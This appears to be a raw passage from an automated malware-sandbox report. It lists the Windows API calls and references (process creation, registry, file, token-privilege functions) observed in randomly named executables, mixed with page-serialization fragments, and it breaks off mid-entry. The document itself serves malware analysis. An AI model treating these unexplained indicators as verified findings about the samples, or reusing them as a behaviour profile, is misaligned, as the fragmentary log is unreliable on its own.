"2NJ9351.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetTempPath2W (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00006492) "2NJ9351.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00006492) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00002488) "AppLaunch.exe" called "GetProcAddress" with a parameter AppPolicyGetProcessTerminationMethod (UID: 00000000-00002488) "3xL71Vc.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004452) "3xL71Vc.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004452)34:T12ce,Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; File: "file") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.00550000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "ateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "984494906,5144,3136,,CreateProcessA,kernel32.dll,"00:17:24.078",RX=0,PX=0" (Indicator: "CreateProcess"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "levateCreateProcess" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "__COMPAT_LAYER=ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000001.68946.03010000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "ElevateCreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "CreateProcess WRPMitigation" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "PRINT,NS_ElevateCreateProcess::APIHook_CreateProcessA,318,[ApiName] Hook Entered" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "CreateProcessA" (Indicator: "CreateProcess"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")35:T8b4,Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; File: "file") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "RegCreateKey"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "RegCreateKeyExA" (Indicator: "RegCreateKey"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")36:T547,Found reference to API "CreateFileA" (Indicator: "CreateFile"; File: "file") Found reference to API "CreateFileW" (Indicator: "CreateFile"; File: "7Us0xM51.exe.3748539400") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00000840.00000000.67112.003EA000.00000002.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00000840.00000000.67112.02980000.00000004.mdmp, 00000000-00000840.00000002.70951.02980000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateFile"; Source: "00000000-00002480.00000001.68946.02DD0000.00000004.mdmp, 00000000-00002480.00000002.70864.02DD0000.00000004.mdmp") Found reference to API "CreateFileA" (Indicator: "CreateFile"; Source: "00000000-00002480.00000002.70864.00BBA000.00000002.mdmp")37:Tb2e2,Found reference to API (Indicator: "CheckTokenMembership"; File: "file") Found reference to API (Indicator: "HeapSetInformation"; File: "file") Found reference to API (Indicator: "DecryptFileA"; File: "file") Found reference to API (Indicator: "SHBrowseForFolder"; File: "file") Found reference to API (Indicator: "SHGetPathFromIDList"; File: "file") Found reference to API (Indicator: "GetTokenInformation"; File: "file") Found reference to API (Indicator: "RegDeleteValueA"; File: "file") Found reference to API (Indicator: "RegOpenKeyExA"; File: "file") Found reference to API (Indicator: "RegQueryInfoKeyA"; File: "file") Found reference to API (Indicator: "FreeSid"; File: "file") Found reference to API (Indicator: "OpenProcessToken"; File: "file") Found reference to API (Indicator: "RegSetValueExA"; File: "file") Found reference to API (Indicator: "RegCreateKeyExA"; File: "file") Found reference to API (Indicator: "LookupPrivilegeValueA"; File: "file") Found reference to API (Indicator: "AllocateAndInitializeSid"; File: "file") Found reference to API (Indicator: "RegQueryValueExA"; File: "file") Found reference to API (Indicator: "EqualSid"; File: "file") Found reference to API (Indicator: "RegCloseKey"; File: "file") Found reference to API (Indicator: "AdjustTokenPrivileges"; File: "file") Found reference to API (Indicator: "GetShortPathNameA"; File: "file") Found reference to API (Indicator: "GetModuleFileNameA"; File: "file") Found reference to API (Indicator: "FindFirstFileA"; File: "file") Found reference to API (Indicator: "GetCurrentProcess"; File: "file") Found reference to API (Indicator: "FindNextFileA"; File: "file") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; File: "file") Found reference to API (Indicator: "FindClose"; File: "file") Found reference to API (Indicator: "LocalAlloc"; File: "file") Found reference to API (Indicator: "lstrcmpA"; File: "file") Found reference to API (Indicator: "CompareStringA"; File: "file") Found reference to API (Indicator: "GetLastError"; File: "file") Found reference to API (Indicator: "GetFileAttributesA"; File: "file") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "file") Found reference to API (Indicator: "LoadLibraryA"; File: "file") Found reference to API (Indicator: "DeleteFileA"; File: "file") Found reference to API (Indicator: "GlobalAlloc"; File: "file") Found reference to API (Indicator: "GlobalFree"; File: "file") Found reference to API (Indicator: "CloseHandle"; File: "file") Found reference to API (Indicator: "WritePrivateProfileStringA"; File: "file") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "file") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "file") Found reference to API (Indicator: "SetFileAttributesA"; File: "file") Found reference to API (Indicator: "GetProcAddress"; File: "file") Found reference to API (Indicator: "GlobalLock"; File: "file") Found reference to API (Indicator: "LocalFree"; File: "file") Found reference to API (Indicator: "RemoveDirectoryA"; File: "file") Found reference to API (Indicator: "FreeLibrary"; File: "file") Found reference to API (Indicator: "CreateDirectoryA"; File: "file") Found reference to API (Indicator: "GetPrivateProfileIntA"; File: "file") Found reference to API (Indicator: "GetPrivateProfileStringA"; File: "file") Found reference to API (Indicator: "GlobalUnlock"; File: "file") Found reference to API (Indicator: "ReadFile"; File: "file") Found reference to API (Indicator: "SizeofResource"; File: "file") Found reference to API (Indicator: "WriteFile"; File: "file") Found reference to API (Indicator: "GetDriveTypeA"; File: "file") Found reference to API (Indicator: "LoadLibraryExA"; File: "file") Found reference to API (Indicator: "SetFileTime"; File: "file") Found reference to API (Indicator: "SetFilePointer"; File: "file") Found reference to API (Indicator: "FindResourceA"; File: "file") Found reference to API (Indicator: "CreateMutexA"; File: "file") Found reference to API (Indicator: "GetVolumeInformationA"; File: "file") Found reference to API (Indicator: "WaitForSingleObject"; File: "file") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "file") Found reference to API (Indicator: "FreeResource"; File: "file") Found reference to API (Indicator: "GetVersion"; File: "file") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "file") Found reference to API (Indicator: "GetTempPathA"; File: "file") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "file") Found reference to API (Indicator: "CreateFileA"; File: "file") Found reference to API (Indicator: "SetEvent"; File: "file") Found reference to API (Indicator: "TerminateThread"; File: "file") Found reference to API (Indicator: "GetVersionExA"; File: "file") Found reference to API (Indicator: "LockResource"; File: "file") Found reference to API (Indicator: "GetSystemInfo"; File: "file") Found reference to API (Indicator: "CreateThread"; File: "file") Found reference to API (Indicator: "ResetEvent"; File: "file") Found reference to API (Indicator: "LoadResource"; File: "file") Found reference to API (Indicator: "ExitProcess"; File: "file") Found reference to API (Indicator: "GetModuleHandleW"; File: "file") Found reference to API (Indicator: "CreateProcessA"; File: "file") Found reference to API (Indicator: "FormatMessageA"; File: "file") Found reference to API (Indicator: "GetTempFileNameA"; File: "file") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "file") Found reference to API (Indicator: "CreateEventA"; File: "file") Found reference to API (Indicator: "GetExitCodeProcess"; File: "file") Found reference to API (Indicator: "GetDeviceCaps"; File: "file") Found reference to API (Indicator: "GetDesktopWindow"; File: "file") Found reference to API (Indicator: "CharUpperA"; File: "file") Found reference to API (Indicator: "ExitWindowsEx"; File: "file") Found reference to API (Indicator: "MessageBeep"; File: "file") Found reference to API (Indicator: "CharPrevA"; File: "file") Found reference to API (Indicator: "LoadStringA"; File: "file") Found reference to API (Indicator: "CharNextA"; File: "file") Found reference to API (Indicator: "EnableWindow"; File: "file") Found reference to API (Indicator: "ReleaseDC"; File: "file") Found reference to API (Indicator: "SetForegroundWindow"; File: "file") Found reference to API (Indicator: "PeekMessageA"; File: "file") Found reference to API (Indicator: "SendMessageA"; File: "file") Found reference to API (Indicator: "MessageBoxA"; File: "file") Found reference to API (Indicator: "SetWindowTextA"; File: "file") Found reference to API (Indicator: "GetWindowLongA"; File: "file") Found reference to API (Indicator: "CallWindowProcA"; File: "file") Found reference to API (Indicator: "SetWindowLongA"; File: "file") Found reference to API (Indicator: "ShowWindow"; File: "file") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "file") Found reference to API (Indicator: "SetWindowPos"; File: "file") Found reference to API (Indicator: "GetDC"; File: "file") Found reference to API (Indicator: "GetWindowRect"; File: "file") Found reference to API (Indicator: "DispatchMessageA"; File: "file") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "file") Found reference to API (Indicator: "VerQueryValueA"; File: "file") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "file") Found reference to API (Indicator: "Sleep"; File: "file") Found reference to API (Indicator: "GetStartupInfoW"; File: "file") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "file") Found reference to API (Indicator: "TerminateProcess"; File: "file") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "file") Found reference to API (Indicator: "GetCurrentProcessId"; File: "file") Found reference to API (Indicator: "GetCurrentThreadId"; File: "file") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "file") Found reference to API (Indicator: "GetTickCount"; File: "file") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "file") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "file") Found reference to API (Indicator: "MulDiv"; File: "file") Found reference to API (Indicator: "GetSystemMetrics"; File: "file") Found reference to API (Indicator: "SetThreadStackGuarantee"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetXStateFeaturesMask"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "FlsGetValue"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "FlsSetValue"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "LCMapStringEx"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "LocaleNameToLCID"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetLocaleInfoEx"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "EnumSystemLocalesEx"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "FlsAlloc"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetProcessWindowStation"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetActiveWindow"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "LCIDToLocaleName"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "FlsFree"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetTimeFormatEx"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetLastActivePopup"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "IsValidLocaleName"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "LocateXStateFeature"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetDateFormatEx"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "AreFileApisANSI"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetEnabledXStateFeatures"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "CompareStringEx"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "MessageBoxW"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "GetUserDefaultLocaleName"; File: "4Sq071Or.exe.1044796902") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "GetLongPathNameW"; File: "7Us0xM51.exe.3748539400") Found reference to API (Indicator: "SHBrowseForFolderW"; File: 